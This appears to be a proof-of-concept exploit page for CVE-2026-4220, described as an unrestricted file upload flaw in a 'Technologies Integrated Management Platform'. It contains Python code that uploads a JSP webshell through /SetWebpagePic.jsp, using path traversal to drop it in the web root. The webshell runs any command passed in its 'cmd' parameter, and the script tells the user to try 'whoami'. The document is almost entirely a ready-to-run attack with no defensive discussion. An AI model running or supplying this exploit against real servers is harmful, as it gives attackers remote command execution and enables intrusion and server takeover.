CVE-2026-4220: Technologies Integrated Management Platform 任意文件上传漏洞

import requests import sys # CVE-2026-4220 PoC - Technologies Integrated Management Platform Unrestricted File Upload # Target: /SetWebpagePic.jsp def exploit(target_url, file_path): """ Exploit for CVE-2026-4220 Upload malicious JSP file to target server """ url = f"{target_url}/SetWebpagePic.jsp" # Malicious JSP webshell payload = """<%@ page import="java.io.*" %> <% if(request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while((line = br.readLine()) != null) { out.println(line); } }%>""" files = { 'file': ('shell.jsp', payload, 'application/octet-stream') } data = { 'targetPath': '../webapps/root/', 'Suffix': '.jsp' } try: response = requests.post(url, files=files, data=data, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") print("[*] Check uploaded file at: /shell.jsp?cmd=whoami") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <file_path>") sys.exit(1) exploit(sys.argv[1], sys.argv[2])